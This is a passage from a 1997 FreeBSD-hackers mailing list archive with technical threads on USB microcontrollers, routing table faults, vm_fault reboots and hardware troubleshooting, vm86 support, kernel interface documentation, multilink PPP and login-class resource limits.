(8.8.6/8.8.4) with SMTP id UAA19002; Thu, 7 Aug 1997 20:48:30 +0300 (EEST) Date: Thu, 7 Aug 1997 20:48:30 +0300 (EEST) From: Narvi Reply-To: Narvi To: Michael Smith cc: Parag Patel , hackers@FreeBSD.ORG, agp@peritek.com Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708070414.NAA13026@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 7 Aug 1997, Michael Smith wrote: > Parag Patel stands accused of saying: > > > > > >In 10k volumes, an integrated USB target/micro device would have to be > > >under the AUD$1 mark before it is cost effective. Try getting that > > >sort of quantity pricing on the Z8 or PIC micros commonly used in > > >serial mice these days... > > > > I just saw an ad at the back of the latest EETimes (Mon Aug 4, 1997 #965) > > from Cypress . The ad claims that they're selling > > the first USB uC under $1.00. (But they don't mention quantity.) It's > > their CY7C63nxx series of parts designed for joysticks, gamepads, and > > keyboards. > > Alright! Talk about timing 8) The price in those sort of Well, the data sheets for various USB controllers have been on the Cypress Web page for quite some time already... > adevertisements is almost always their bulk quantity pricing. > A micro with 4Kb EPROM & 128 B RAM for $1 in small quantities? Where can I line up (unless the performance really sucks). Actually it is $1 for 10000+ . For quantity 1, marshall lists one (2KB EPROM, 128 RAM, 12/6 Mhz, DIP) for $3.73 Not too bad... Sander > > It's an 8-bit microcontroller including RAM (128 or 256 bytes depending > > on the part), EPROM (4Kb or 8Kb), a USB serial engine, and a transceiver. > > It has a clock-doubler and "instant-on" low-power features. Number of > > I/Os (whatever those are) vary from 10 to 39. The ad claims it's a RISC > > core but doesn't say what's in it. > > Number of I/O's refers to the number of uncommitted external pins > available for generic I/O. You need 6 for a 3-button rodent; if > you're patient enough you can do absolutely anything with 10 (but you > need extra logic; more I/O's just saves you space and parts count). > > I'll have to look into these guys; this is pretty hot stuff. > > > The also advertise a development system is $495 including an emulator, > > assembler, debugger, software for mouse/joysticks, and a USB code > > library. Not quite at the geek hobbyist level, but certainly not > > outrageous either. > > US$500 is pretty average for a full development kit; there's probably a > cheaper option that just gives you the asembler and leaves you to build > the programming hardware yourself. > > Do they mention anything about reprogrammable parts? The $1 component > is going to be an OTP in a plastic package I expect; an EEPROM or > windowed part would be useful for development. > > > For the record, I'm not am employee, customer, a contractor, or in any > > way affiliated with Cypress. > > I wouldn't care if you were; the information is still appreciated 8) > > > -- Parag > > -- > ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ > ]] Genesis Software genesis@gsoft.com.au [[ > ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ > ]] realtime instrument control. (ph) +61-8-8267-3493 [[ > ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ > From owner-freebsd-hackers Thu Aug 7 10:57:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA19981 for hackers-outgoing; Thu, 7 Aug 1997 10:57:21 -0700 (PDT) Received: from soda.CSUA.Berkeley.EDU (soda.CSUA.Berkeley.EDU [128.32.43.52]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA19976 for ; Thu, 7 Aug 1997 10:57:12 -0700 (PDT) Received: from soda.CSUA.Berkeley.EDU (jwm@localhost) by soda.CSUA.Berkeley.EDU (8.6.12/8.6.12) with ESMTP id KAA24249 for ; Thu, 7 Aug 1997 10:57:09 -0700 Message-Id: <199708071757.KAA24249@soda.CSUA.Berkeley.EDU> To: hackers@freebsd.org Subject: Routing problems Reply-to: jwm@CSUA.Berkeley.EDU Date: Thu, 07 Aug 1997 10:56:49 -0700 From: John Milford Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk A new 2.2.2 machine has recently been droping off the net for some unknown reason. This can take from 15 min. to 24 hour to happen and the only way to bring it back is to reboot. At least that is the only way I have found. I have found that the routing table looks a little strange when this happens: # netstat -rn Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 128.32.240.254 UGSc 8 28 fxp0 127.0.0.1 127.0.0.1 UH 0 5640 lo0 128.32.134/24 link#1 UC 0 0 128.32.134.5 8:0:5a:47:21:53 UHLW 1 209 vx0 465 128.32.134.17 0:20:af:d3:78:9a UHLW 1 26 lo0 128.32.134.240 0:0:f8:1:8e:e2 UHLW 0 7 vx0 779 128.32.134.254 0:0:93:10:6a:d8 UHLW 0 0 vx0 1116 128.32.240/24 link#2 UC 0 0 128.32.240.39 link#2 UHLW 0 3 128.32.240.190 0:a0:c9:6b:12:b1 UHLW 0 17276 lo0 128.32.240.231 link#2 UHLW 1 267 128.32.240.254 link#2 UHLW 8 0 Where "link #2" appears I would expect to see a MAC adress. I would also expect to see all 240 net routes associated with fpx0. I tried flushing the routing table: # route flush default inr-115-eecs-new-net done route: write to routing socket: No such process got only -1 for rlen # route -v flush Examining routing table from sysctl RTM_GET: Report Metrics: len 132, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: default inr-115-eecs-new-net-1.Berkeley.EDU (255) ffff 0 100 RTM_DELETE: Delete Route: len 132, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: default inr-115-eecs-new-net-1.Beecs-new-net-1.Berkeley.EDU (255) ffff 0 100 RTM_GET: Report Metrics: len 124, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: localhost localhost RTM_GET: Report Metrics: len 136, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: 128.32.134.0 (255) ffff ffff ff RTM_GET: Report Metrics: len 128, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: godzilla 8.0.5a.47.21.53 RTM_GET: Report Metrics: len 128, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: fantasia 0.20.af.d3.78.9a RTM_GET: Report Metrics: len 128, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: saidin 0.0.f8.1.8e.e2 RTM_GET: Report Metrics: len Report Metrics: len 128, pid: 0, seq 0, errno 0, f lags: locks: inits: sockaddrs: inr-116-eecs.Berkeley.EDU 0.0.93.10.6a.d8 RTM_GET: Report Metrics: len 124, pid: 0, seq 0, errno 0, flags: locks: inits: sockaddrs: garnet.Berkeley.EDU inr-115-eecs-new-net-1.Berkeley.EDU route: write to routing socket: No such process got only -1 for rlen I have been looking at the source, but have not come up with anything. I have found that with just the 3c590 (vx0) that this does not occur, and in fact that when this problem occurs the machine can be acessed from the 134 net (vx0). Is it possible that the Intel card is causing the routing table to get munged like this? Any ideas on how to debug this will be graetly appreciated. --John From owner-freebsd-hackers Thu Aug 7 10:58:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA20082 for hackers-outgoing; Thu, 7 Aug 1997 10:58:28 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA20049 for ; Thu, 7 Aug 1997 10:58:14 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id KAA23169 for ; Thu, 7 Aug 1997 10:58:11 -0700 (PDT) Date: Thu, 7 Aug 1997 10:58:10 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: How easy is the in-memory MFS kernel stuff to use, 'ala the boot , floppy? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm trying to figure out a way to make a "disaster-mode" kernel, that if the kernel can load, but not fsck, it can mount an in-memory FS, possibly start the network, and maybe fire up an sshd, or something so I can get in and do stuff remotely. Any ideas? From owner-freebsd-hackers Thu Aug 7 11:51:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA23458 for hackers-outgoing; Thu, 7 Aug 1997 11:51:30 -0700 (PDT) Received: from sumatra.americantv.com (sumatra.americantv.com [207.170.17.37]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA23453 for ; Thu, 7 Aug 1997 11:51:28 -0700 (PDT) Received: from right.PCS (right.PCS [148.105.10.31]) by sumatra.americantv.com (8.8.5/8.8.5) with ESMTP id OAA26397; Thu, 7 Aug 1997 14:00:48 -0500 (CDT) Received: (jlemon@localhost) by right.PCS (8.6.13/8.6.4) id NAA08660; Thu, 7 Aug 1997 13:52:06 -0500 Message-ID: <19970807135205.55853@right.PCS> Date: Thu, 7 Aug 1997 13:52:05 -0500 From: Jonathan Lemon To: Charles Green Cc: hackers@FreeBSD.ORG Subject: Re: vm86 References: <199708071725.RAA13275@fang.cs.sunyit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.61.1 In-Reply-To: <199708071725.RAA13275@fang.cs.sunyit.edu>; from Charles Green on Aug 08, 1997 at 05:25:16PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Aug 08, 1997 at 05:25:16PM +0000, Charles Green wrote: > I remember a few months back someone wrote in and said that he was > working on adding vm86 to the freebsd kernel. Has this project fissled out or > has other projects taken priority? That was me... I've been working on it on and off, but haven't really spent too much time on it. The current status is: - Interrupt handling for doscmd is better. - vm86 now has vme support. - access to the full I/O space from a user process. I did start a port of Linux's dosemu, but have been so revolted at their tangled makefile setup, that I haven't gotten very far. There are also some additional issues of what to pass back forth on the stack that I haven't bothered to address (yet). I have a version of vm86 for -current that I can polish up and submit in the next week if there is interest. This is be slightly different than the version on the 2.2.2 cdrom, due to the relocation of the user pages. I could also retrofit some of the patches back into 2.2.2, if there is any chnance that they would be accepted into the tree. The only thing that would not be possible under 2.2.2 is the iospace support, as that depends on the u-page change in -current. -- Jonathan From owner-freebsd-hackers Thu Aug 7 12:19:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA25729 for hackers-outgoing; Thu, 7 Aug 1997 12:19:43 -0700 (PDT) Received: from gdi.uoregon.edu (cisco-ts16-line10.uoregon.edu [128.223.150.210]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA25721 for ; Thu, 7 Aug 1997 12:19:37 -0700 (PDT) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.5/8.8.5) with SMTP id MAA00523 for ; Thu, 7 Aug 1997 12:19:34 -0700 (PDT) Date: Thu, 7 Aug 1997 12:19:34 -0700 (PDT) From: Doug White X-Sender: dwhite@localhost Reply-To: Doug White To: hackers@freebsd.org Subject: Suggestion for rc.conf / weak_mountd_authentication (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Forwarded to people who actually work on this. :-) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major Spam routed to /dev/null by Procmail | Death to Cyberpromo ---------- Forwarded message ---------- Date: Thu, 7 Aug 1997 19:47:40 +0200 (CEST) From: Andre Albsmeier To: freebsd-questions@FreeBSD.ORG Subject: Suggestion for rc.conf / weak_mountd_authentication Hi, I would suggest to change weak_mountd_authentication to mountd_flags and to change rc.network accordingly. This would be consistent to the rest and would make it possible to use also -2 for example without having to change rc.network. What do you think of this? -Andre From owner-freebsd-hackers Thu Aug 7 12:32:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA26634 for hackers-outgoing; Thu, 7 Aug 1997 12:32:56 -0700 (PDT) Received: from gdi.uoregon.edu (cisco-ts16-line10.uoregon.edu [128.223.150.210]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA26628 for ; Thu, 7 Aug 1997 12:32:52 -0700 (PDT) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.5/8.8.5) with SMTP id MAA00564; Thu, 7 Aug 1997 12:32:48 -0700 (PDT) Date: Thu, 7 Aug 1997 12:32:48 -0700 (PDT) From: Doug White X-Sender: dwhite@localhost Reply-To: Doug White To: hackers@freebsd.org cc: donal@brewich.com Subject: vm_fault problem (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We'll see if -hackers can decode this. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major Spam routed to /dev/null by Procmail | Death to Cyberpromo ---------- Forwarded message ---------- Date: Wed, 06 Aug 1997 23:26:27 -0500 From: Donal To: questions@FreeBSD.ORG Cc: gclarkii@main.gbdata.com Subject: vm_fault problem I am having a problem, and I hope you can help or direct me to someone who can. I recently upgraded my comm server to 2.2.2 and upgraded some of the hardware. The system is now: Gigabyte HX motherboard (new) Award BIOS on board IDE 2 com ports 2x16MB 60ns EDO RAM (new) 1.2GB Maxtor IDE (new) NE2000 card Trident ISA video card Usenet II 4 port Serial card Since the upgrade the machine has been rebooting at random intervals (anything from 5 minutes to 2 days) and I can find no log trace or core files. Then yesterday I caught it doing it and managed to write it down! I THINK this is exactly what it said... vm_fault: fault on nofault entry: address f296c000 then it had something about syncing the disks (it failed) and that I could press a key to stop the reboot. I did press a key but it rebooted anyway. PLEASE help!!! Is it a bad SIMM??? MB Cache? Should I disable the cache? This machine is my gateway. My ISDN is connected to it, as are all 5 of my dialup lines. This reboot thing is crippling my business! Thank you in advance for your help. ---------------------------------------------------------------------------- Donal SysAdmin of The Brewers' Witch BBS +1 713 272 7350 The Largest Pagan-oriented BBS on the Internet! http://www.brewich.com Modkin of soc.religion.paganism http://www.brewich.com/org/srp RingMaster of The WebCircle http://www.brewich.com/webcircle WebMaster of The Council of the Magickal Arts http://www.brewich.com/org/cma BW Internet Services, Houston's Pagan-owned&operated ISP http://www.bwis.com From owner-freebsd-hackers Thu Aug 7 13:38:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA29670 for hackers-outgoing; Thu, 7 Aug 1997 13:38:40 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA29665 for ; Thu, 7 Aug 1997 13:38:38 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA22951; Thu, 7 Aug 1997 13:35:26 -0700 From: Terry Lambert Message-Id: <199708072035.NAA22951@phaeton.artisoft.com> Subject: Re: large minor numbers To: grog@lemis.com (Greg Lehey) Date: Thu, 7 Aug 1997 13:35:26 -0700 (MST) Cc: ada@not-enough.bandwidth.org, hackers@FreeBSD.ORG In-Reply-To: <199708070812.RAA24898@freebie.lemis.com> from "Greg Lehey" at Aug 7, 97 05:42:38 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > On the topic of minor numbers for certain devices, it was mentioned that > > there was no 8-bit limit upon these. Has it occurred to anyone to fix > > tar to understand these? If I do a tar of /dev, it'll give me a bunch of > > errors saying 'minor number too large'. > > The trouble is, tar is a portable format, and it's one of its greatest > advantages. If you "fix" it for large minor numbers, you'll break it > for exchange to anything else. The real "fix" is to go to devfs; with devfs, it simply makes no sense to backup (or restore) device nodes, period. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Aug 7 14:22:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01658 for hackers-outgoing; Thu, 7 Aug 1997 14:22:09 -0700 (PDT) Received: from beethoven.n2.net (beethoven.n2.net [207.113.132.23]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA01653 for ; Thu, 7 Aug 1997 14:22:05 -0700 (PDT) Received: (from fpm@localhost) by beethoven.n2.net (8.8.6/8.8.5) id OAA21506; Thu, 7 Aug 1997 14:21:54 -0700 (PDT) Message-ID: <19970807142154.26219@n2.net> Date: Thu, 7 Aug 1997 14:21:54 -0700 From: Frank MacLachlan To: Donal Cc: hackers@FreeBSD.ORG Subject: Re: vm_fault problem (fwd) References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: ; from Doug White on Thu, Aug 07, 1997 at 12:32:48PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Aug 07, 1997 at 12:32:48PM -0700, Doug White wrote: > [snip] > > I am having a problem, and I hope you can help or direct me to someone who > can. > I recently upgraded my comm server to 2.2.2 and upgraded some of the > hardware. The system is now: > Gigabyte HX motherboard (new) > Award BIOS > on board IDE > 2 com ports > 2x16MB 60ns EDO RAM (new) > 1.2GB Maxtor IDE (new) > NE2000 card > Trident ISA video card > Usenet II 4 port Serial card > > Since the upgrade the machine has been rebooting at random intervals > (anything from 5 minutes to 2 days) and I can find no log trace or core files. > Then yesterday I caught it doing it and managed to write it down! I THINK > this is exactly what it said... > > vm_fault: fault on nofault entry: address f296c000 > > then it had something about syncing the disks (it failed) and that I could > press a key to stop the reboot. I did press a key but it rebooted anyway. > > PLEASE help!!! Is it a bad SIMM??? MB Cache? Should I disable the cache? > > This machine is my gateway. My ISDN is connected to it, as are all 5 of my > dialup lines. This reboot thing is crippling my business! Thank you in > advance for your help. > I saw similar problems on a system fitted w/ a Tyan Tomcat III motherboard (Intel HX chipset) and an AMD K5-PR166. I'd suggest that you systematically reconfigure the system making one change at a time and then testing the system. Iterative make worlds makes a great stress test. If it still fails, make another change. Things to check: 1. L2 cache 2. BIOS chipset settings. Use conservative settings for memory timing, turn off advanced features, etc (I would, however, enable ECC if you're using parity memory). 3. Replace your simms w/ known good simms. 4. Make sure that your CPU fan is working. Are you using heat sink compound between the CPU and the heatsink? Does the heat sink have ample surface area? Does the edge of the CPU feel hot if you touch it? 5. Slow the bus speed down to 60 mhz for testing. 6. Make sure that the IDE signal cable is no longer than 18 inches. 7. Pull nonessential cards out of the system. 8. Does the case have adequate air flow? Some cases have very poor air flow. 9. Double check motherboard settings. Is the CPU voltage set correctly? 10. Use your imagination. My Tyan system would fail within 2 or 3 make worlds w/ the L2 cache enabled, but successfully completed 22 passes w/ the L2 cache disabled. I replaced the motherboard w/ an Asus P55T2P4 motherboard while the Tyan MB is being repaired/replaced. -- Frank MacLachlan (fpm@n2.net) N2 Networking, San Diego, CA From owner-freebsd-hackers Thu Aug 7 14:47:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA02869 for hackers-outgoing; Thu, 7 Aug 1997 14:47:41 -0700 (PDT) Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA02864; Thu, 7 Aug 1997 14:47:34 -0700 (PDT) Received: (from darrenr@localhost) by plum.cyber.com.au (8.6.12/8.6.6) id HAA10870; Fri, 8 Aug 1997 07:47:22 +1000 From: Darren Reed Message-Id: <199708072147.HAA10870@plum.cyber.com.au> Subject: Re: cvs commit: src/sys/vm vm_zone.c vm_zone.h To: dyson@FreeBSD.ORG Date: Fri, 8 Aug 1997 07:47:21 +1000 (EST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199708071616.LAA00806@dyson.iquest.net> from "John S. Dyson" at Aug 7, 97 11:16:44 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In some mail I received from John S. Dyson, sie wrote > > > Well, there you have it. One of the prime differences between a commercial > > piece of software and "free" software that is so common today: the place of > > documentation and the recognition of the significance of its role. > > > I also think that documentation is important. So, since you are interested, > want to help with the docs and the design of a DDI/DDK? I think that it > would be a good idea to have a formal one. Again, randomly documenting > kernel interfaces stagnates it, and there will be yells and hollers when > changes (significant improvements) are made. Well, given that there is a rough consensus that this is needed (and before anyone starts writing - I can probably find some time to make a start on this), what functions are to be included in section 9 ? For starters, there are bcopy, strcmp, , etc (libkern - section 9l ?). Also there is copyin and copyout, malloc and free. Hmmm, do things like MALLOC() get documented and `approved' as the kernel interface for malloc rather than malloc itself ? Darren (I'm replying with a cc to hackers to move it out of cvs committers to open this discussion up somewhat...) From owner-freebsd-hackers Thu Aug 7 15:29:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA04388 for hackers-outgoing; Thu, 7 Aug 1997 15:29:43 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA04356; Thu, 7 Aug 1997 15:29:33 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wwb3d-0006cv-00; Thu, 7 Aug 1997 16:29:25 -0600 To: Darren Reed Subject: Re: cvs commit: src/sys/vm vm_zone.c vm_zone.h Cc: dyson@freebsd.org, hackers@freebsd.org In-reply-to: Your message of "Fri, 08 Aug 1997 07:47:21 +1000." <199708072147.HAA10870@plum.cyber.com.au> References: <199708072147.HAA10870@plum.cyber.com.au> Date: Thu, 07 Aug 1997 16:29:24 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199708072147.HAA10870@plum.cyber.com.au> Darren Reed writes: : For starters, there are bcopy, strcmp, , etc (libkern - section 9l ?). : : Also there is copyin and copyout, malloc and free. Hmmm, do things like : MALLOC() get documented and `approved' as the kernel interface for malloc : rather than malloc itself ? Not to mention things like bread, bwrite, which are useful for stacked device drivers. And just whatis the difference between bwrite and bdwrite anyway (I just checked the code, but it would be useful to know w/o doing this). Or are these interfaces too subject to change to document. I know that Solaris doesn't even document them... Warner From owner-freebsd-hackers Thu Aug 7 16:20:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA06427 for hackers-outgoing; Thu, 7 Aug 1997 16:20:39 -0700 (PDT) Received: from shell.uniserve.com (tom@shell.uniserve.com [204.244.210.252]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA06421 for ; Thu, 7 Aug 1997 16:20:34 -0700 (PDT) Received: from localhost (tom@localhost) by shell.uniserve.com (8.8.5/8.8.5) with SMTP id QAA24015; Thu, 7 Aug 1997 16:15:57 -0700 (PDT) X-Authentication-Warning: shell.uniserve.com: tom owned process doing -bs Date: Thu, 7 Aug 1997 16:15:57 -0700 (PDT) From: Tom To: "Jamil J. Weatherbee" cc: Atipa , hackers@FreeBSD.ORG Subject: Re: Sessreg, and Webramp M3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 6 Aug 1997, Jamil J. Weatherbee wrote: > 2. How would a person with multiple modems attached (suppose through a > cyclades card) make a freebsd do whatever tricks the Webramp M3 does with > uses multiple modems on presumably multiple IP addresses, much like a > multihoned network but without gated. I thought the Webramp use multilink PPP (MP) to bond multiple modems into one PPP interface? So it really isn't multiple interfaces or multihomed at all. You can use the mpd (in ports?). It is basically the stock ppp, with MP features. Tom From owner-freebsd-hackers Thu Aug 7 16:49:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA07716 for hackers-outgoing; Thu, 7 Aug 1997 16:49:08 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA07710 for ; Thu, 7 Aug 1997 16:49:04 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id JAA07658; Fri, 8 Aug 1997 09:48:31 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id JAA15962; Fri, 8 Aug 1997 09:18:30 +0930 (CST) Message-Id: <199708072348.JAA15962@freebie.lemis.com> Subject: Re: Routing problems In-Reply-To: <199708071757.KAA24249@soda.CSUA.Berkeley.EDU> from John Milford at "Aug 7, 97 10:56:49 am" To: jwm@CSUA.Berkeley.EDU Date: Fri, 8 Aug 1997 09:18:30 +0930 (CST) Cc: hackers@FreeBSD.ORG Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John Milford writes: > > A new 2.2.2 machine has recently been droping off the net > for some unknown reason. This can take from 15 min. to 24 hour to > happen and the only way to bring it back is to reboot. At least that > is the only way I have found. I have found that the routing table > looks a little strange when this happens: > > (etc) > > I have been looking at the source, but have not come up with > anything. I have found that with just the 3c590 (vx0) that this does > not occur, and in fact that when this problem occurs the machine can > be acessed from the 134 net (vx0). > > Is it possible that the Intel card is causing the routing > table to get munged like this? That would be my guess. I suspect that you're looking in the wrong place. Check out the board with ifconfig--you may find it's down. You could also try doing: # ifconfig fxp0 down # ifconfig fxp0 up I've found this to unwedge my controllers (ed0, ep0) on occasion. Greg From owner-freebsd-hackers Thu Aug 7 17:33:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA10183 for hackers-outgoing; Thu, 7 Aug 1997 17:33:18 -0700 (PDT) Received: from hda.hda.com (hda-bicnet.bicnet.net [208.220.66.37]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA10173 for ; Thu, 7 Aug 1997 17:33:14 -0700 (PDT) Received: (from dufault@localhost) by hda.hda.com (8.8.5/8.8.5) id TAA27494 for hackers@freebsd.org; Thu, 7 Aug 1997 19:46:52 -0400 (EDT) From: Peter Dufault Message-Id: <199708072346.TAA27494@hda.hda.com> Subject: Problem with netscape4 solved To: hackers@freebsd.org Date: Thu, 7 Aug 1997 19:46:50 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The netscape4 problem was simple - the system I was installing on had a missing shared library, the install quit with a " didn't work; to finish up the installation do " message, I moved in the shared library and loaded it, followed , and surprise surprise things didn't work quite right. Don't ask me why I didn't immediately do what did work: remove everything and reinstall from scratch. Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Safety critical systems, Agency approval From owner-freebsd-hackers Thu Aug 7 18:09:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12417 for hackers-outgoing; Thu, 7 Aug 1997 18:09:22 -0700 (PDT) Received: from labs.usn.blaze.net.au (root@labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA12409 for ; Thu, 7 Aug 1997 18:09:16 -0700 (PDT) Received: from labs.usn.blaze.net.au (davidn@local [127.0.0.1]) by labs.usn.blaze.net.au (8.8.6/8.8.5) with ESMTP id LAA03873; Fri, 8 Aug 1997 11:07:43 +1000 (EST) Message-Id: <199708080107.LAA03873@labs.usn.blaze.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Alan Batie Cc: hackers@freebsd.org Subject: Re: login classes In-reply-to: Your message of "Mon, 04 Aug 1997 14:18:52 MST." <19970804141852.47074@aahz.jf.intel.com> X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 08 Aug 1997 11:07:41 +1000 From: David Nugent Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > per-user process limit). I've already hacked cron to add them in, and > now it looks like I need to hack smrsh so that vacation will run. Hmm. Since sendmail runs at daemon resource level, this is the problem here, regardless of which user it is deliverying to. Changing your effective uid does not affect resources. You're arguing it should, and that argument has merrit. However, as in this case, it may not really be appropriate in all cases. Certainly the kernel can't really know much about per-user resource settings. It would make it simpler from an api point of view, but it would probably result it being less configurable and flexible (pretty much like we had before). > God help me if sendmail gives up root before invoking smrsh and I have to > hack *it*. Especially when I have two days left before I leave... I don't see why this is necessary. Increase resources in your *daemon* class since that's what applies here. The user's resources aren't involved except when it comes to counting resource use for that user. > Here's the patch to cron: Cron in 2.2-stable has already been fixed to use user class resources as of a couple of weeks ago. Its original omission was an oversight. Regards, David -- David Nugent - Unique Computing Pty Ltd - Melbourne, Australia davidn@freebsd.org davidn@blaze.net.au http://www.blaze.net.au/~davidn/ From owner-freebsd-hackers Thu Aug 7 18:15:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12701 for hackers-outgoing; Thu, 7 Aug 1997 18:15:41 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA12696 for ; Thu, 7 Aug 1997 18:15:37 